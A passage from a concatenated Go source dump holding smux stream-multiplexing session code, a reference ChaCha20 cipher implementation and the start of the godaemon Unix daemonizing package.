atomic.StoreInt32(&s.fulflag, 1) 323 | } 324 | 325 | // mark this stream has been resume write 326 | func (s *Stream) resumeWrite() { 327 | if atomic.LoadInt32(&s.fulflag) == 1 { 328 | select { 329 | case s.bucketNotify <- struct{}{}: 330 | default: 331 | } 332 | } 333 | atomic.StoreInt32(&s.fulflag, 0) 334 | } 335 | 336 | // returnTokens is called by stream to return token after read 337 | func (s *Stream) returnTokens(n int) { 338 | if !s.sess.EnableStreamBuffer { 339 | return 340 | } 341 | 342 | used := atomic.AddInt32(&s.bucket, -int32(n)) 343 | totalRead := atomic.AddInt32(&s.countRead, int32(n)) 344 | lastWrite, _ := s.lastWrite.Load().(time.Time) 345 | dt := time.Now().Sub(lastWrite) + 1 346 | needed := totalRead * int32(s.sess.rtt / dt) 347 | atomic.StoreInt32(&s.guessNeeded, needed) 348 | if used <= 0 || (needed > 0 && needed >= used) { 349 | s.sendResume() 350 | } 351 | } 352 | 353 | // send cmdFUL to pause write 354 | func (s *Stream) sendPause() { 355 | s.empflagLock.Lock() 356 | if s.empflag == 1 { 357 | s.empflag = 0 358 | s.empflagLock.Unlock() 359 | s.sess.writeFrame(newFrame(cmdFUL, s.id)) 360 | return 361 | } 362 | s.empflagLock.Unlock() 363 | } 364 | 365 | // send cmdEMP to resume write 366 | func (s *Stream) sendResume() { 367 | s.empflagLock.Lock() 368 | if s.empflag == 0 { 369 | s.empflag = 1 370 | s.empflagLock.Unlock() 371 | s.sess.writeFrame(newFrame(cmdEMP, s.id)) 372 | return 373 | } 374 | s.empflagLock.Unlock() 375 | } 376 | 377 | var errTimeout error = &timeoutError{} 378 | 379 | type timeoutError struct{} 380 | 381 | func (e *timeoutError) Error() string { return "i/o timeout" } 382 | func (e *timeoutError) Timeout() bool { return true } 383 | func (e *timeoutError) Temporary() bool { return true } 384 | -------------------------------------------------------------------------------- /lib/smux/session.go: -------------------------------------------------------------------------------- 1 | package smux 2 | 3 | import ( 4 | "encoding/binary" 5 | "io" 6 | "sync" 7 | "sync/atomic" 8 | "time" 9 | "math/rand" 10 | 11 | "errors" 12 | ) 13 | 14 | const ( 15 | defaultAcceptBacklog = 1024 16 | ) 17 | 18 | var ( 19 | ErrBrokenPipe = errors.New("broken pipe") 20 | ErrInvalidProtocol = errors.New("invalid protocol version") 21 | ErrGoAway = errors.New("stream id overflows, should start a new connection") 22 | ) 23 | 24 | type writeRequest struct { 25 | frame Frame 26 | result chan writeResult 27 | } 28 | 29 | type writeResult struct { 30 | n int 31 | err error 32 | } 33 | 34 | // Session defines a multiplexed connection for streams 35 | type Session struct { 36 | conn io.ReadWriteCloser 37 | 38 | config *Config 39 | nextStreamID uint32 // next stream identifier 40 | nextStreamIDLock sync.Mutex 41 | 42 | bucket int32 // token bucket 43 | bucketNotify chan struct{} // used for waiting for tokens 44 | 45 | streams map[uint32]*Stream // all streams in this session 46 | streamLock sync.Mutex // locks streams 47 | 48 | die chan struct{} // flag session has died 49 | dieLock sync.Mutex 50 | chAccepts chan *Stream 51 | 52 | dataReady int32 // flag data has arrived 53 | 54 | goAway int32 // flag id exhausted 55 | 56 | deadline atomic.Value 57 | 58 | writes chan writeRequest 59 | 60 | EnableStreamBuffer bool 61 | MaxReceiveBuffer int 62 | MaxStreamBuffer int 63 | BoostTimeout time.Duration 64 | 65 | rttSn uint32 66 | rttTest time.Time 67 | rtt time.Duration 68 | } 69 | 70 | func init() { 71 | rand.Seed(int64(time.Now().Nanosecond())) 72 | } 73 | 74 | func newSession(config *Config, conn io.ReadWriteCloser, client bool) *Session { 75 | s := new(Session) 76 | s.die = make(chan struct{}) 77 | s.conn = conn 78 | s.config = config 79 | s.streams = make(map[uint32]*Stream) 80 | s.chAccepts = make(chan *Stream, defaultAcceptBacklog) 81 | s.bucket = int32(config.MaxReceiveBuffer) 82 | s.bucketNotify = make(chan struct{}, 1) 83 | s.writes = make(chan writeRequest) 84 | 85 | s.MaxReceiveBuffer = config.MaxReceiveBuffer 86 | s.MaxStreamBuffer = config.MaxStreamBuffer 87 | s.BoostTimeout = config.BoostTimeout 88 | s.EnableStreamBuffer = config.EnableStreamBuffer 89 | 90 | if client { 91 | s.nextStreamID = 1 92 | } else { 93 | s.nextStreamID = 0 94 | } 95 | go s.recvLoop() 96 | go s.sendLoop() 97 | go s.keepalive() 98 | return s 99 | } 100 | 101 | // OpenStream is used to create a new stream 102 | func (s *Session) OpenStream() (*Stream, error) { 103 | if s.IsClosed() { 104 | return nil, ErrBrokenPipe 105 | } 106 | 107 | // generate stream id 108 | s.nextStreamIDLock.Lock() 109 | if s.goAway > 0 { 110 | s.nextStreamIDLock.Unlock() 111 | return nil, ErrGoAway 112 | } 113 | 114 | s.nextStreamID += 2 115 | sid := s.nextStreamID 116 | if sid == sid%2 { // stream-id overflows 117 | s.goAway = 1 118 | s.nextStreamIDLock.Unlock() 119 | return nil, ErrGoAway 120 | } 121 | s.nextStreamIDLock.Unlock() 122 | 123 | stream := newStream(sid, s.config.MaxFrameSize, s) 124 | 125 | if _, err := s.writeFrame(newFrame(cmdSYN, sid)); err != nil { 126 | return nil, errors.New("writeFrame: " + err.Error()) 127 | } 128 | 129 | s.streamLock.Lock() 130 | s.streams[sid] = stream 131 | s.streamLock.Unlock() 132 | return stream, nil 133 | } 134 | 135 | // AcceptStream is used to block until the next available stream 136 | // is ready to be accepted. 137 | func (s *Session) AcceptStream() (*Stream, error) { 138 | var deadline <-chan time.Time 139 | if d, ok := s.deadline.Load().(time.Time); ok && !d.IsZero() { 140 | timer := time.NewTimer(d.Sub(time.Now())) 141 | defer timer.Stop() 142 | deadline = timer.C 143 | } 144 | select { 145 | case stream := <-s.chAccepts: 146 | return stream, nil 147 | case <-deadline: 148 | return nil, errTimeout 149 | case <-s.die: 150 | return nil, ErrBrokenPipe 151 | } 152 | } 153 | 154 | // Close is used to close the session and all streams. 155 | func (s *Session) Close() (err error) { 156 | s.dieLock.Lock() 157 | 158 | select { 159 | case <-s.die: 160 | s.dieLock.Unlock() 161 | return ErrBrokenPipe 162 | default: 163 | close(s.die) 164 | s.dieLock.Unlock() 165 | s.streamLock.Lock() 166 | for k := range s.streams { 167 | s.streams[k].sessionClose() 168 | } 169 | s.streamLock.Unlock() 170 | s.notifyBucket() 171 | return s.conn.Close() 172 | } 173 | } 174 | 175 | // notifyBucket notifies recvLoop that bucket is available 176 | func (s *Session) notifyBucket() { 177 | select { 178 | case s.bucketNotify <- struct{}{}: 179 | default: 180 | } 181 | } 182 | 183 | // IsClosed does a safe check to see if we have shutdown 184 | func (s *Session) IsClosed() bool { 185 | select { 186 | case <-s.die: 187 | return true 188 | default: 189 | return false 190 | } 191 | } 192 | 193 | // NumStreams returns the number of currently open streams 194 | func (s *Session) NumStreams() int { 195 | if s.IsClosed() { 196 | return 0 197 | } 198 | s.streamLock.Lock() 199 | defer s.streamLock.Unlock() 200 | return len(s.streams) 201 | } 202 | 203 | // SetDeadline sets a deadline used by Accept* calls. 204 | // A zero time value disables the deadline. 205 | func (s *Session) SetDeadline(t time.Time) error { 206 | s.deadline.Store(t) 207 | return nil 208 | } 209 | 210 | // notify the session that a stream has closed 211 | func (s *Session) streamClosed(sid uint32) { 212 | s.streamLock.Lock() 213 | if n := s.streams[sid].recycleTokens(); n > 0 { // return remaining tokens to the bucket 214 | if atomic.AddInt32(&s.bucket, int32(n)) > 0 { 215 | s.notifyBucket() 216 | } 217 | } 218 | delete(s.streams, sid) 219 | s.streamLock.Unlock() 220 | } 221 | 222 | // returnTokens is called by stream to return token after read 223 | func (s *Session) returnTokens(n int) { 224 | if atomic.AddInt32(&s.bucket, int32(n)) > 0 { 225 | s.notifyBucket() 226 | } 227 | } 228 | 229 | // session read a frame from underlying connection 230 | // it's data is pointed to the input buffer 231 | func (s *Session) readFrame(buffer []byte) (f Frame, err error) { 232 | if _, err := io.ReadFull(s.conn, buffer[:headerSize]); err != nil { 233 | return f, errors.New("readFrame: " + err.Error()) 234 | } 235 | 236 | dec := rawHeader(buffer) 237 | if dec.Version() != version { 238 | return f, ErrInvalidProtocol 239 | } 240 | 241 | f.ver = dec.Version() 242 | f.cmd = dec.Cmd() 243 | f.sid = dec.StreamID() 244 | if length := dec.Length(); length > 0 { 245 | if _, err := io.ReadFull(s.conn, buffer[headerSize:headerSize+length]); err != nil { 246 | return f, errors.New("readFrame: " + err.Error()) 247 | } 248 | f.data = buffer[headerSize : headerSize+length] 249 | } 250 | return f, nil 251 | } 252 | 253 | // recvLoop keeps on reading from underlying connection if tokens are available 254 | func (s *Session) recvLoop() { 255 | buffer := make([]byte, (1<<16)+headerSize) 256 | for { 257 | for atomic.LoadInt32(&s.bucket) <= 0 && !s.IsClosed() { 258 | <-s.bucketNotify 259 | } 260 | 261 | if f, err := s.readFrame(buffer); err == nil { 262 | atomic.StoreInt32(&s.dataReady, 1) 263 | 264 | switch f.cmd { 265 | case cmdNOP: 266 | if s.EnableStreamBuffer { 267 | s.writeFrameNRet(newFrame(cmdACK, f.sid)) 268 | } else { 269 | s.writeFrameNRet(newFrame(cmdNOP, f.sid)) 270 | } 271 | case cmdSYN: 272 | s.streamLock.Lock() 273 | if _, ok := s.streams[f.sid]; !ok { 274 | stream := newStream(f.sid, s.config.MaxFrameSize, s) 275 | s.streams[f.sid] = stream 276 | select { 277 | case s.chAccepts <- stream: 278 | case <-s.die: 279 | } 280 | } 281 | s.streamLock.Unlock() 282 | case cmdFIN: 283 | s.streamLock.Lock() 284 | if stream, ok := s.streams[f.sid]; ok { 285 | stream.markRST() 286 | stream.notifyReadEvent() 287 | } 288 | s.streamLock.Unlock() 289 | case cmdPSH: 290 | s.streamLock.Lock() 291 | if stream, ok := s.streams[f.sid]; ok { 292 | atomic.AddInt32(&s.bucket, -int32(len(f.data))) 293 | stream.pushBytes(f.data) 294 | stream.notifyReadEvent() 295 | } 296 | s.streamLock.Unlock() 297 | case cmdFUL: 298 | s.streamLock.Lock() 299 | if stream, ok := s.streams[f.sid]; ok { 300 | stream.pauseWrite() 301 | } 302 | s.streamLock.Unlock() 303 | case cmdEMP: 304 | s.streamLock.Lock() 305 | if stream, ok := s.streams[f.sid]; ok { 306 | stream.resumeWrite() 307 | } 308 | s.streamLock.Unlock() 309 | case cmdACK: 310 | if f.sid == atomic.LoadUint32(&s.rttSn) { 311 | s.rtt = time.Now().Sub(s.rttTest) 312 | } 313 | default: 314 | s.Close() 315 | return 316 | } 317 | } else { 318 | s.Close() 319 | return 320 | } 321 | } 322 | } 323 | 324 | func (s *Session) keepalive() { 325 | min := s.config.KeepAliveInterval 326 | delta := (s.config.KeepAliveIntervalMax - s.config.KeepAliveInterval).Nanoseconds() + 1 327 | next := min + time.Duration(rand.Int63n(delta)) 328 | t := time.NewTimer(next) 329 | 330 | s.rttTest = time.Now() 331 | s.writeFrame(newFrame(cmdNOP, atomic.AddUint32(&s.rttSn, uint32(1)))) 332 | ckTimeout := time.NewTimer(next + s.config.KeepAliveTimeout) // start timeout check 333 | 334 | var stopT = func() { 335 | t.Stop() 336 | select { 337 | case <-t.C: 338 | default: 339 | } 340 | } 341 | 342 | var stopCk = func() { 343 | ckTimeout.Stop() 344 | select { 345 | case <-ckTimeout.C: 346 | default: 347 | } 348 | } 349 | 350 | for { 351 | select { 352 | case <-ckTimeout.C: 353 | if !atomic.CompareAndSwapInt32(&s.dataReady, 1, 0) { 354 | s.Close() 355 | stopT() 356 | return 357 | } 358 | case <-t.C: 359 | // send ping 360 | s.rttTest = time.Now() 361 | s.writeFrame(newFrame(cmdNOP, atomic.AddUint32(&s.rttSn, uint32(1)))) 362 | s.notifyBucket() // force a signal to the recvLoop 363 | ckTimeout.Reset(s.config.KeepAliveTimeout) // start timeout check 364 | t.Reset(min + time.Duration(rand.Int63n(delta))) // setup next ping 365 | case <-s.die: 366 | // clear all timer 367 | stopT() 368 | stopCk() 369 | return 370 | } 371 | } 372 | } 373 | 374 | func (s *Session) GetRTT() (time.Duration) { 375 | return s.rtt 376 | } 377 | 378 | func (s *Session) sendLoop() { 379 | buf := make([]byte, (1<<16)+headerSize) 380 | for { 381 | select { 382 | case <-s.die: 383 | return 384 | case request, ok := <-s.writes: 385 | if !ok { 386 | continue 387 | } 388 | buf[0] = request.frame.ver 389 | buf[1] = request.frame.cmd 390 | binary.LittleEndian.PutUint16(buf[2:], uint16(len(request.frame.data))) 391 | binary.LittleEndian.PutUint32(buf[4:], request.frame.sid) 392 | copy(buf[headerSize:], request.frame.data) 393 | n, err := s.conn.Write(buf[:headerSize+len(request.frame.data)]) 394 | 395 | n -= headerSize 396 | if n < 0 { 397 | n = 0 398 | } 399 | 400 | result := writeResult{ 401 | n: n, 402 | err: err, 403 | } 404 | 405 | request.result <- result 406 | close(request.result) 407 | } 408 | } 409 | } 410 | 411 | // writeFrame writes the frame to the underlying connection 412 | // and returns the number of bytes written if successful 413 | func (s *Session) writeFrame(f Frame) (n int, err error) { 414 | req := writeRequest{ 415 | frame: f, 416 | result: make(chan writeResult, 1), 417 | } 418 | select { 419 | case <-s.die: 420 | return 0, ErrBrokenPipe 421 | case s.writes <- req: 422 | } 423 | 424 | result := <-req.result 425 | return result.n, result.err 426 | } 427 | 428 | func (s *Session) writeFrameNRet(f Frame) { 429 | req := writeRequest{ 430 | frame: f, 431 | result: make(chan writeResult, 1), 432 | } 433 | select { 434 | case <-s.die: 435 | case s.writes <- req: 436 | } 437 | } 438 | 439 | func (s *Session) WriteCustomCMD(cmd byte, bts []byte) (n int, err error) { 440 | if s.IsClosed() { 441 | return 0, ErrBrokenPipe 442 | } 443 | f := newFrame(cmd, 0) 444 | f.data = bts 445 | 446 | return s.writeFrame(f) 447 | } 448 | 449 | -------------------------------------------------------------------------------- /lib/chacha20/chacha20_ref.go: -------------------------------------------------------------------------------- 1 | // chacha20_ref.go - Reference ChaCha20. 2 | // 3 | // To the extent possible under law, Yawning Angel has waived all copyright 4 | // and related or neighboring rights to chacha20, using the Creative 5 | // Commons "CC0" public domain dedication. See LICENSE or 6 | // for full details. 7 | 8 | package chacha20 9 | 10 | import ( 11 | "encoding/binary" 12 | "math" 13 | "unsafe" 14 | ) 15 | 16 | func blocksRef(x *[stateSize]uint32, in []byte, out []byte, nrBlocks int, isIetf bool) { 17 | if isIetf { 18 | var totalBlocks uint64 19 | totalBlocks = uint64(x[8]) + uint64(nrBlocks) 20 | if totalBlocks > math.MaxUint32 { 21 | panic("chacha20: Exceeded keystream per nonce limit") 22 | } 23 | } 24 | 25 | // This routine ignores x[0]...x[4] in favor the const values since it's 26 | // ever so slightly faster. 27 | 28 | for n := 0; n < nrBlocks; n++ { 29 | x0, x1, x2, x3 := sigma0, sigma1, sigma2, sigma3 30 | x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15 := x[4], x[5], x[6], x[7], x[8], x[9], x[10], x[11], x[12], x[13], x[14], x[15] 31 | 32 | for i := chachaRounds; i > 0; i -= 2 { 33 | // quarterround(x, 0, 4, 8, 12) 34 | x0 += x4 35 | x12 ^= x0 36 | x12 = (x12 << 16) | (x12 >> 16) 37 | x8 += x12 38 | x4 ^= x8 39 | x4 = (x4 << 12) | (x4 >> 20) 40 | x0 += x4 41 | x12 ^= x0 42 | x12 = (x12 << 8) | (x12 >> 24) 43 | x8 += x12 44 | x4 ^= x8 45 | x4 = (x4 << 7) | (x4 >> 25) 46 | 47 | // quarterround(x, 1, 5, 9, 13) 48 | x1 += x5 49 | x13 ^= x1 50 | x13 = (x13 << 16) | (x13 >> 16) 51 | x9 += x13 52 | x5 ^= x9 53 | x5 = (x5 << 12) | (x5 >> 20) 54 | x1 += x5 55 | x13 ^= x1 56 | x13 = (x13 << 8) | (x13 >> 24) 57 | x9 += x13 58 | x5 ^= x9 59 | x5 = (x5 << 7) | (x5 >> 25) 60 | 61 | // quarterround(x, 2, 6, 10, 14) 62 | x2 += x6 63 | x14 ^= x2 64 | x14 = (x14 << 16) | (x14 >> 16) 65 | x10 += x14 66 | x6 ^= x10 67 | x6 = (x6 << 12) | (x6 >> 20) 68 | x2 += x6 69 | x14 ^= x2 70 | x14 = (x14 << 8) | (x14 >> 24) 71 | x10 += x14 72 | x6 ^= x10 73 | x6 = (x6 << 7) | (x6 >> 25) 74 | 75 | // quarterround(x, 3, 7, 11, 15) 76 | x3 += x7 77 | x15 ^= x3 78 | x15 = (x15 << 16) | (x15 >> 16) 79 | x11 += x15 80 | x7 ^= x11 81 | x7 = (x7 << 12) | (x7 >> 20) 82 | x3 += x7 83 | x15 ^= x3 84 | x15 = (x15 << 8) | (x15 >> 24) 85 | x11 += x15 86 | x7 ^= x11 87 | x7 = (x7 << 7) | (x7 >> 25) 88 | 89 | // quarterround(x, 0, 5, 10, 15) 90 | x0 += x5 91 | x15 ^= x0 92 | x15 = (x15 << 16) | (x15 >> 16) 93 | x10 += x15 94 | x5 ^= x10 95 | x5 = (x5 << 12) | (x5 >> 20) 96 | x0 += x5 97 | x15 ^= x0 98 | x15 = (x15 << 8) | (x15 >> 24) 99 | x10 += x15 100 | x5 ^= x10 101 | x5 = (x5 << 7) | (x5 >> 25) 102 | 103 | // quarterround(x, 1, 6, 11, 12) 104 | x1 += x6 105 | x12 ^= x1 106 | x12 = (x12 << 16) | (x12 >> 16) 107 | x11 += x12 108 | x6 ^= x11 109 | x6 = (x6 << 12) | (x6 >> 20) 110 | x1 += x6 111 | x12 ^= x1 112 | x12 = (x12 << 8) | (x12 >> 24) 113 | x11 += x12 114 | x6 ^= x11 115 | x6 = (x6 << 7) | (x6 >> 25) 116 | 117 | // quarterround(x, 2, 7, 8, 13) 118 | x2 += x7 119 | x13 ^= x2 120 | x13 = (x13 << 16) | (x13 >> 16) 121 | x8 += x13 122 | x7 ^= x8 123 | x7 = (x7 << 12) | (x7 >> 20) 124 | x2 += x7 125 | x13 ^= x2 126 | x13 = (x13 << 8) | (x13 >> 24) 127 | x8 += x13 128 | x7 ^= x8 129 | x7 = (x7 << 7) | (x7 >> 25) 130 | 131 | // quarterround(x, 3, 4, 9, 14) 132 | x3 += x4 133 | x14 ^= x3 134 | x14 = (x14 << 16) | (x14 >> 16) 135 | x9 += x14 136 | x4 ^= x9 137 | x4 = (x4 << 12) | (x4 >> 20) 138 | x3 += x4 139 | x14 ^= x3 140 | x14 = (x14 << 8) | (x14 >> 24) 141 | x9 += x14 142 | x4 ^= x9 143 | x4 = (x4 << 7) | (x4 >> 25) 144 | } 145 | 146 | // On amd64 at least, this is a rather big boost. 147 | if useUnsafe { 148 | if in != nil { 149 | inArr := (*[16]uint32)(unsafe.Pointer(&in[n*BlockSize])) 150 | outArr := (*[16]uint32)(unsafe.Pointer(&out[n*BlockSize])) 151 | outArr[0] = inArr[0] ^ (x0 + sigma0) 152 | outArr[1] = inArr[1] ^ (x1 + sigma1) 153 | outArr[2] = inArr[2] ^ (x2 + sigma2) 154 | outArr[3] = inArr[3] ^ (x3 + sigma3) 155 | outArr[4] = inArr[4] ^ (x4 + x[4]) 156 | outArr[5] = inArr[5] ^ (x5 + x[5]) 157 | outArr[6] = inArr[6] ^ (x6 + x[6]) 158 | outArr[7] = inArr[7] ^ (x7 + x[7]) 159 | outArr[8] = inArr[8] ^ (x8 + x[8]) 160 | outArr[9] = inArr[9] ^ (x9 + x[9]) 161 | outArr[10] = inArr[10] ^ (x10 + x[10]) 162 | outArr[11] = inArr[11] ^ (x11 + x[11]) 163 | outArr[12] = inArr[12] ^ (x12 + x[12]) 164 | outArr[13] = inArr[13] ^ (x13 + x[13]) 165 | outArr[14] = inArr[14] ^ (x14 + x[14]) 166 | outArr[15] = inArr[15] ^ (x15 + x[15]) 167 | } else { 168 | outArr := (*[16]uint32)(unsafe.Pointer(&out[n*BlockSize])) 169 | outArr[0] = x0 + sigma0 170 | outArr[1] = x1 + sigma1 171 | outArr[2] = x2 + sigma2 172 | outArr[3] = x3 + sigma3 173 | outArr[4] = x4 + x[4] 174 | outArr[5] = x5 + x[5] 175 | outArr[6] = x6 + x[6] 176 | outArr[7] = x7 + x[7] 177 | outArr[8] = x8 + x[8] 178 | outArr[9] = x9 + x[9] 179 | outArr[10] = x10 + x[10] 180 | outArr[11] = x11 + x[11] 181 | outArr[12] = x12 + x[12] 182 | outArr[13] = x13 + x[13] 183 | outArr[14] = x14 + x[14] 184 | outArr[15] = x15 + x[15] 185 | } 186 | } else { 187 | // Slow path, either the architecture cares about alignment, or is not little endian. 188 | x0 += sigma0 189 | x1 += sigma1 190 | x2 += sigma2 191 | x3 += sigma3 192 | x4 += x[4] 193 | x5 += x[5] 194 | x6 += x[6] 195 | x7 += x[7] 196 | x8 += x[8] 197 | x9 += x[9] 198 | x10 += x[10] 199 | x11 += x[11] 200 | x12 += x[12] 201 | x13 += x[13] 202 | x14 += x[14] 203 | x15 += x[15] 204 | if in != nil { 205 | binary.LittleEndian.PutUint32(out[0:4], binary.LittleEndian.Uint32(in[0:4])^x0) 206 | binary.LittleEndian.PutUint32(out[4:8], binary.LittleEndian.Uint32(in[4:8])^x1) 207 | binary.LittleEndian.PutUint32(out[8:12], binary.LittleEndian.Uint32(in[8:12])^x2) 208 | binary.LittleEndian.PutUint32(out[12:16], binary.LittleEndian.Uint32(in[12:16])^x3) 209 | binary.LittleEndian.PutUint32(out[16:20], binary.LittleEndian.Uint32(in[16:20])^x4) 210 | binary.LittleEndian.PutUint32(out[20:24], binary.LittleEndian.Uint32(in[20:24])^x5) 211 | binary.LittleEndian.PutUint32(out[24:28], binary.LittleEndian.Uint32(in[24:28])^x6) 212 | binary.LittleEndian.PutUint32(out[28:32], binary.LittleEndian.Uint32(in[28:32])^x7) 213 | binary.LittleEndian.PutUint32(out[32:36], binary.LittleEndian.Uint32(in[32:36])^x8) 214 | binary.LittleEndian.PutUint32(out[36:40], binary.LittleEndian.Uint32(in[36:40])^x9) 215 | binary.LittleEndian.PutUint32(out[40:44], binary.LittleEndian.Uint32(in[40:44])^x10) 216 | binary.LittleEndian.PutUint32(out[44:48], binary.LittleEndian.Uint32(in[44:48])^x11) 217 | binary.LittleEndian.PutUint32(out[48:52], binary.LittleEndian.Uint32(in[48:52])^x12) 218 | binary.LittleEndian.PutUint32(out[52:56], binary.LittleEndian.Uint32(in[52:56])^x13) 219 | binary.LittleEndian.PutUint32(out[56:60], binary.LittleEndian.Uint32(in[56:60])^x14) 220 | binary.LittleEndian.PutUint32(out[60:64], binary.LittleEndian.Uint32(in[60:64])^x15) 221 | in = in[BlockSize:] 222 | } else { 223 | binary.LittleEndian.PutUint32(out[0:4], x0) 224 | binary.LittleEndian.PutUint32(out[4:8], x1) 225 | binary.LittleEndian.PutUint32(out[8:12], x2) 226 | binary.LittleEndian.PutUint32(out[12:16], x3) 227 | binary.LittleEndian.PutUint32(out[16:20], x4) 228 | binary.LittleEndian.PutUint32(out[20:24], x5) 229 | binary.LittleEndian.PutUint32(out[24:28], x6) 230 | binary.LittleEndian.PutUint32(out[28:32], x7) 231 | binary.LittleEndian.PutUint32(out[32:36], x8) 232 | binary.LittleEndian.PutUint32(out[36:40], x9) 233 | binary.LittleEndian.PutUint32(out[40:44], x10) 234 | binary.LittleEndian.PutUint32(out[44:48], x11) 235 | binary.LittleEndian.PutUint32(out[48:52], x12) 236 | binary.LittleEndian.PutUint32(out[52:56], x13) 237 | binary.LittleEndian.PutUint32(out[56:60], x14) 238 | binary.LittleEndian.PutUint32(out[60:64], x15) 239 | } 240 | out = out[BlockSize:] 241 | } 242 | 243 | // Stoping at 2^70 bytes per nonce is the user's responsibility. 244 | ctr := uint64(x[13])<<32 | uint64(x[12]) 245 | ctr++ 246 | x[12] = uint32(ctr) 247 | x[13] = uint32(ctr >> 32) 248 | } 249 | } 250 | 251 | func hChaChaRef(x *[stateSize]uint32, out *[32]byte) { 252 | x0, x1, x2, x3 := sigma0, sigma1, sigma2, sigma3 253 | x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15 := x[0], x[1], x[2], x[3], x[4], x[5], x[6], x[7], x[8], x[9], x[10], x[11] 254 | 255 | for i := chachaRounds; i > 0; i -= 2 { 256 | // quarterround(x, 0, 4, 8, 12) 257 | x0 += x4 258 | x12 ^= x0 259 | x12 = (x12 << 16) | (x12 >> 16) 260 | x8 += x12 261 | x4 ^= x8 262 | x4 = (x4 << 12) | (x4 >> 20) 263 | x0 += x4 264 | x12 ^= x0 265 | x12 = (x12 << 8) | (x12 >> 24) 266 | x8 += x12 267 | x4 ^= x8 268 | x4 = (x4 << 7) | (x4 >> 25) 269 | 270 | // quarterround(x, 1, 5, 9, 13) 271 | x1 += x5 272 | x13 ^= x1 273 | x13 = (x13 << 16) | (x13 >> 16) 274 | x9 += x13 275 | x5 ^= x9 276 | x5 = (x5 << 12) | (x5 >> 20) 277 | x1 += x5 278 | x13 ^= x1 279 | x13 = (x13 << 8) | (x13 >> 24) 280 | x9 += x13 281 | x5 ^= x9 282 | x5 = (x5 << 7) | (x5 >> 25) 283 | 284 | // quarterround(x, 2, 6, 10, 14) 285 | x2 += x6 286 | x14 ^= x2 287 | x14 = (x14 << 16) | (x14 >> 16) 288 | x10 += x14 289 | x6 ^= x10 290 | x6 = (x6 << 12) | (x6 >> 20) 291 | x2 += x6 292 | x14 ^= x2 293 | x14 = (x14 << 8) | (x14 >> 24) 294 | x10 += x14 295 | x6 ^= x10 296 | x6 = (x6 << 7) | (x6 >> 25) 297 | 298 | // quarterround(x, 3, 7, 11, 15) 299 | x3 += x7 300 | x15 ^= x3 301 | x15 = (x15 << 16) | (x15 >> 16) 302 | x11 += x15 303 | x7 ^= x11 304 | x7 = (x7 << 12) | (x7 >> 20) 305 | x3 += x7 306 | x15 ^= x3 307 | x15 = (x15 << 8) | (x15 >> 24) 308 | x11 += x15 309 | x7 ^= x11 310 | x7 = (x7 << 7) | (x7 >> 25) 311 | 312 | // quarterround(x, 0, 5, 10, 15) 313 | x0 += x5 314 | x15 ^= x0 315 | x15 = (x15 << 16) | (x15 >> 16) 316 | x10 += x15 317 | x5 ^= x10 318 | x5 = (x5 << 12) | (x5 >> 20) 319 | x0 += x5 320 | x15 ^= x0 321 | x15 = (x15 << 8) | (x15 >> 24) 322 | x10 += x15 323 | x5 ^= x10 324 | x5 = (x5 << 7) | (x5 >> 25) 325 | 326 | // quarterround(x, 1, 6, 11, 12) 327 | x1 += x6 328 | x12 ^= x1 329 | x12 = (x12 << 16) | (x12 >> 16) 330 | x11 += x12 331 | x6 ^= x11 332 | x6 = (x6 << 12) | (x6 >> 20) 333 | x1 += x6 334 | x12 ^= x1 335 | x12 = (x12 << 8) | (x12 >> 24) 336 | x11 += x12 337 | x6 ^= x11 338 | x6 = (x6 << 7) | (x6 >> 25) 339 | 340 | // quarterround(x, 2, 7, 8, 13) 341 | x2 += x7 342 | x13 ^= x2 343 | x13 = (x13 << 16) | (x13 >> 16) 344 | x8 += x13 345 | x7 ^= x8 346 | x7 = (x7 << 12) | (x7 >> 20) 347 | x2 += x7 348 | x13 ^= x2 349 | x13 = (x13 << 8) | (x13 >> 24) 350 | x8 += x13 351 | x7 ^= x8 352 | x7 = (x7 << 7) | (x7 >> 25) 353 | 354 | // quarterround(x, 3, 4, 9, 14) 355 | x3 += x4 356 | x14 ^= x3 357 | x14 = (x14 << 16) | (x14 >> 16) 358 | x9 += x14 359 | x4 ^= x9 360 | x4 = (x4 << 12) | (x4 >> 20) 361 | x3 += x4 362 | x14 ^= x3 363 | x14 = (x14 << 8) | (x14 >> 24) 364 | x9 += x14 365 | x4 ^= x9 366 | x4 = (x4 << 7) | (x4 >> 25) 367 | } 368 | 369 | // HChaCha returns x0...x3 | x12...x15, which corresponds to the 370 | // indexes of the ChaCha constant and the indexes of the IV. 371 | if useUnsafe { 372 | outArr := (*[16]uint32)(unsafe.Pointer(&out[0])) 373 | outArr[0] = x0 374 | outArr[1] = x1 375 | outArr[2] = x2 376 | outArr[3] = x3 377 | outArr[4] = x12 378 | outArr[5] = x13 379 | outArr[6] = x14 380 | outArr[7] = x15 381 | } else { 382 | binary.LittleEndian.PutUint32(out[0:4], x0) 383 | binary.LittleEndian.PutUint32(out[4:8], x1) 384 | binary.LittleEndian.PutUint32(out[8:12], x2) 385 | binary.LittleEndian.PutUint32(out[12:16], x3) 386 | binary.LittleEndian.PutUint32(out[16:20], x12) 387 | binary.LittleEndian.PutUint32(out[20:24], x13) 388 | binary.LittleEndian.PutUint32(out[24:28], x14) 389 | binary.LittleEndian.PutUint32(out[28:32], x15) 390 | } 391 | return 392 | } 393 | -------------------------------------------------------------------------------- /lib/godaemon/daemon.go: -------------------------------------------------------------------------------- 1 | // +build darwin freebsd linux 2 | 3 | // Package godaemon runs a program as a Unix daemon. 4 | package godaemon 5 | 6 | // Copyright (c) 2013-2015 VividCortex, Inc. All rights reserved. 7 | // Please see the LICENSE file for applicable license terms. 8 | 9 | import ( 10 | "bytes" 11 | "crypto/sha1" 12 | "encoding/hex" 13 | "fmt" 14 | "io" 15 | "os" 16 | "strconv" 17 | "strings" 18 | "syscall" 19 | "time" 20 | ) 21 | 22 | // Environment variables to support this process 23 | const ( 24 | stageVar = "__DAEMON_STAGE" 25 | fdVarPrefix = "__DAEMON_FD_" 26 | ) 27 | 28 | // DaemonAttr describes the options that apply to daemonization 29 | type DaemonAttr struct { 30 | ProgramName string // child's os.Args[0]; copied from parent if empty 31 | CaptureOutput bool // whether to capture stdout/stderr 32 | Files []**os.File // files to keep open in the daemon 33 | } 34 | 35 | /* 36 | MakeDaemon turns the process into a daemon. But given the lack of Go's 37 | support for fork(), MakeDaemon() is forced to run the process all over again, 38 | from the start. Hence, this should probably be your first call after main 39 | begins, unless you understand the effects of calling from somewhere else. 40 | Keep in mind that the PID changes after this function is called, given 41 | that it only returns in the child; the parent will exit without returning. 42 | 43 | Options 